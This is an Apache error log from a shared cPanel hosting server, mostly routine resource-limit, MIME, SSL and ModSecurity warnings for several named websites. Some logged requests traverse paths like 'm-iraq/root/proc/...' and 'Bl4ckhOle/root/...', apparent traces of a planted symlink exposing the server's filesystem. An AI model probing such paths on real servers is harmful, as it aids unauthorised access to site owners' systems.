[Fri Jul 17 08:33:23.241960 2026] [hostinglimits:warn] [pid 2014308:tid 2014308] mod_hostinglimits: Error on LVE enter: LVE(1055) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/5daf477219d7f4fe25c210c9e2c21aa04eba1cb1.sock|fcgi://nsteeleng.com) HOSTNAME(nsteeleng.com) URL(/index.php) TID(2014308) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:33:23.242021 2026] [hostinglimits:warn] [pid 2008451:tid 2008451] mod_hostinglimits: Error on LVE enter: LVE(1055) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/5daf477219d7f4fe25c210c9e2c21aa04eba1cb1.sock|fcgi://nsteeleng.com) HOSTNAME(nsteeleng.com) URL(/index.php) TID(2008451) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:33:23.242500 2026] [hostinglimits:warn] [pid 1993604:tid 1993604] mod_hostinglimits: Error on LVE enter: LVE(1055) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/5daf477219d7f4fe25c210c9e2c21aa04eba1cb1.sock|fcgi://nsteeleng.com) HOSTNAME(nsteeleng.com) URL(/index.php) TID(1993604) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:33:23.368004 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:33:23.726067 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:33:24.825292 2026] [hostinglimits:warn] [pid 2014308:tid 2014308] mod_hostinglimits: Error on LVE enter: LVE(1055) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/5daf477219d7f4fe25c210c9e2c21aa04eba1cb1.sock|fcgi://nsteeleng.com) HOSTNAME(nsteeleng.com) URL(/index.php) TID(2014308) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:33:24.828122 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1055) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/5daf477219d7f4fe25c210c9e2c21aa04eba1cb1.sock|fcgi://nsteeleng.com) HOSTNAME(nsteeleng.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:33:25.868415 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:33:26.839727 2026] [security2:error] [pid 1993604:tid 1993604] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almbfoha5y5fYnQ1qRrwTAAAAAE"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:33:26.839793 2026] [security2:error] [pid 1993604:tid 1993604] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almbfoha5y5fYnQ1qRrwTAAAAAE"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:33:28.983641 2026] [mime:warn] [pid 2014286:tid 2014286] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:33:30.330583 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:33:30.433574 2026] [mime:warn] [pid 2014286:tid 2014286] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:33:30.563161 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:54214] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:33:36.982970 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:37850] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:33:39.977334 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:37938] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:33:43.352149 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/wer/2018/vol_45_no_18-english.pdf"] [unique_id "almbj3RlmrtCoY_COpcjNgAAAAg"]
[Fri Jul 17 08:33:43.352462 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/wer/2018/vol_45_no_18-english.pdf"] [unique_id "almbj3RlmrtCoY_COpcjNgAAAAg"]
[Fri Jul 17 08:33:43.352704 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/wer/2018/vol_45_no_18-english.pdf"] [unique_id "almbj3RlmrtCoY_COpcjNgAAAAg"]
[Fri Jul 17 08:33:43.903504 2026] [mime:warn] [pid 2014286:tid 2014286] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:33:45.683231 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:33:45.760677 2026] [security2:error] [pid 2014321:tid 2014321] [client 216.73.216.133:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "127.0.0.1"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "127.0.0.1"] [uri "/cgi-sys/autoconfig.cgi"] [unique_id "almbkdbqW6u97-NXXfOsRgAAACE"]
[Fri Jul 17 08:33:46.329850 2026] [security2:error] [pid 2015125:tid 2015125] [client 216.244.66.242:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "ksoft.web.lk"] [uri "/epid/Epidomology20221110/public/album/hepatitis-b-survey-02"] [unique_id "almbkhJ0z2bEtnOrIXU9tAAAAAk"]
[Fri Jul 17 08:33:46.330349 2026] [security2:error] [pid 2015125:tid 2015125] [client 216.244.66.242:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ksoft.web.lk"] [uri "/epid/Epidomology20221110/public/album/hepatitis-b-survey-02"] [unique_id "almbkhJ0z2bEtnOrIXU9tAAAAAk"]
[Fri Jul 17 08:33:46.803793 2026] [ssl:error] [pid 2014308:tid 2014308] (70014)End of file found: [client 66.85.158.91:43098] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:33:46.963529 2026] [security2:error] [pid 2015125:tid 2015125] [client 216.244.66.242:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ksoft.web.lk"] [uri "/epid/Epidomology20221110/public/index.php"] [unique_id "almbkhJ0z2bEtnOrIXU9tAAAAAk"]
[Fri Jul 17 08:33:48.409570 2026] [ssl:error] [pid 2014286:tid 2014286] (70014)End of file found: [client 66.85.158.91:43392] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:33:48.903370 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:33:49.806180 2026] [ssl:error] [pid 2015187:tid 2015187] (70014)End of file found: [client 66.85.158.91:43440] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:33:50.669724 2026] [mime:warn] [pid 2014321:tid 2014321] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:33:54.075899 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:33:57.025640 2026] [ssl:error] [pid 2014279:tid 2014279] (70014)End of file found: [client 66.85.158.91:58876] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:33:58.912840 2026] [mime:warn] [pid 2014256:tid 2014256] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:03.830611 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:03.834800 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:03.912331 2026] [core:error] [pid 2014279:tid 2014279] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/firmware/dmi/entries/4-1/raw
[Fri Jul 17 08:34:05.859148 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:05.865255 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:44306] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:34:05.872576 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:08.241851 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:08.264849 2026] [mime:warn] [pid 2014256:tid 2014256] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:08.283794 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:44392] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:34:08.687843 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:44408] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:34:09.252642 2026] [mime:warn] [pid 2014279:tid 2014279] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:10.642217 2026] [ssl:error] [pid 2014321:tid 2014321] (70014)End of file found: [client 66.85.158.91:44484] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:34:11.813119 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:51236] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:34:11.838412 2026] [core:error] [pid 2014308:tid 2014308] (13)Permission denied: [client 47.82.49.195:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/116:5/device/device/subsystem/drivers/uhci_hcd/uevent
[Fri Jul 17 08:34:11.897263 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:13.674615 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:13.752080 2026] [mime:warn] [pid 2014256:tid 2014256] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:14.145063 2026] [ssl:error] [pid 1993619:tid 1993619] (5)Input/output error: [client 66.85.158.91:51312] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:34:14.157329 2026] [security2:error] [pid 1993604:tid 1993604] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almbroha5y5fYnQ1qRrwXgAAAAE"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:34:14.157371 2026] [security2:error] [pid 1993604:tid 1993604] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almbroha5y5fYnQ1qRrwXgAAAAE"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:34:14.183501 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:14.624373 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 47.128.48.139:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty5/subsystem/tty57/subsystem/ttyS3/flags
[Fri Jul 17 08:34:15.965463 2026] [ssl:error] [pid 2008451:tid 2008451] (70014)End of file found: [client 66.85.158.91:51432] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:34:16.778310 2026] [security2:error] [pid 2013809:tid 2013809] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almbsEgVnBK6wAv37w6pfAAAABQ"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:34:16.778352 2026] [security2:error] [pid 2013809:tid 2013809] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almbsEgVnBK6wAv37w6pfAAAABQ"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:34:17.646641 2026] [ssl:error] [pid 2015125:tid 2015125] (70014)End of file found: [client 66.85.158.91:51518] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:34:17.677883 2026] [ssl:error] [pid 2014279:tid 2014279] (70014)End of file found: [client 66.85.158.91:51520] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:34:18.174149 2026] [mime:warn] [pid 2014308:tid 2014308] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:18.320701 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:51548] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:34:18.528692 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:19.310993 2026] [mime:warn] [pid 2014308:tid 2014308] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:23.523898 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:52472] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:34:24.201917 2026] [mime:warn] [pid 2014308:tid 2014308] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:24.340343 2026] [ssl:error] [pid 2014286:tid 2014286] (70014)End of file found: [client 66.85.158.91:52506] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:34:27.423662 2026] [security2:error] [pid 1993573:tid 1993573] [client 57.141.18.76:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory135/node0/memory14/node0/memory132/node0/memory139/"] [unique_id "almbu3t8zp89pALg8Q5ltwAAAA4"]
[Fri Jul 17 08:34:27.423826 2026] [security2:error] [pid 1993573:tid 1993573] [client 57.141.18.76:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory135/node0/memory14/node0/memory132/node0/memory139/"] [unique_id "almbu3t8zp89pALg8Q5ltwAAAA4"]
[Fri Jul 17 08:34:29.083254 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:29.200273 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:29.587912 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:52762] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:34:29.588082 2026] [security2:error] [pid 1993574:tid 1993574] [client 57.141.18.105:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory3/subsystem/devices/memory87/subsystem/devices/memory97/node0/memory133/node0/distance"] [unique_id "almbvd0t9Kb_MdNxrg6_gQAAAAM"]
[Fri Jul 17 08:34:29.588104 2026] [security2:error] [pid 1993574:tid 1993574] [client 57.141.18.105:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory3/subsystem/devices/memory87/subsystem/devices/memory97/node0/memory133/node0/distance"] [unique_id "almbvd0t9Kb_MdNxrg6_gQAAAAM"]
[Fri Jul 17 08:34:29.731657 2026] [ssl:error] [pid 2014308:tid 2014308] (70014)End of file found: [client 66.85.158.91:52776] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:34:31.104395 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:52830] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:34:31.269837 2026] [cgi:error] [pid 2008451:tid 2008451] [client 20.104.96.117:0] AH02812: stderr from /home/bostonlanka/public_html/cgi-bin/: attempt to invoke directory as script
[Fri Jul 17 08:34:32.106258 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:47636] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:34:33.081415 2026] [ssl:error] [pid 2014321:tid 2014321] (70014)End of file found: [client 66.85.158.91:47692] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:34:33.992389 2026] [security2:error] [pid 2013829:tid 2013829] [client 20.104.96.117:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-global": Permission denied [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almbwQ7FYe46zHK_jL3NBwAAABk"]
[Fri Jul 17 08:34:33.992424 2026] [security2:error] [pid 2013829:tid 2013829] [client 20.104.96.117:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-ip": Permission denied [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almbwQ7FYe46zHK_jL3NBwAAABk"]
[Fri Jul 17 08:34:34.012727 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:47714] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:34:34.200537 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:35.196957 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:47758] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:34:35.222231 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:35.295189 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:35.710839 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:47770] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:34:36.316112 2026] [security2:error] [pid 2008451:tid 2008451] [client 20.104.96.117:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-global": Permission denied [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almbxAPhWp7RzB65h36fqAAAAA0"]
[Fri Jul 17 08:34:36.316156 2026] [security2:error] [pid 2008451:tid 2008451] [client 20.104.96.117:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-ip": Permission denied [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almbxAPhWp7RzB65h36fqAAAAA0"]
[Fri Jul 17 08:34:36.360962 2026] [ssl:error] [pid 2015125:tid 2015125] (70014)End of file found: [client 66.85.158.91:47798] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:34:36.696616 2026] [ssl:error] [pid 2014308:tid 2014308] (70014)End of file found: [client 66.85.158.91:47808] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:34:38.886938 2026] [security2:error] [pid 2014279:tid 2014279] [client 20.104.96.117:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-global": Permission denied [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almbxkz_ZDvgWqiMlMbMIgAAAB0"]
[Fri Jul 17 08:34:38.886972 2026] [security2:error] [pid 2014279:tid 2014279] [client 20.104.96.117:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-ip": Permission denied [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almbxkz_ZDvgWqiMlMbMIgAAAB0"]
[Fri Jul 17 08:34:39.321195 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:40.450402 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:40.463570 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:34:44.011644 2026] [security2:error] [pid 1996894:tid 1996894] [client 20.104.96.117:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-global": Permission denied [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almby44Wmn5zySdNNkAlmQAAABM"]
[Fri Jul 17 08:34:44.011683 2026] [security2:error] [pid 1996894:tid 1996894] [client 20.104.96.117:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-ip": Permission denied [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almby44Wmn5zySdNNkAlmQAAABM"]
[Fri Jul 17 08:34:44.984120 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.8.145.22:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/favicon.ico"] [unique_id "almbzHRlmrtCoY_COpcjXQAAAAg"], referer: https://www.epid.gov.lk/storage/post/pdfs/en_6824e7fc2b136_Measles.pdf
[Fri Jul 17 08:34:44.984149 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.8.145.22:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/favicon.ico"] [unique_id "almbzHRlmrtCoY_COpcjXQAAAAg"], referer: https://www.epid.gov.lk/storage/post/pdfs/en_6824e7fc2b136_Measles.pdf
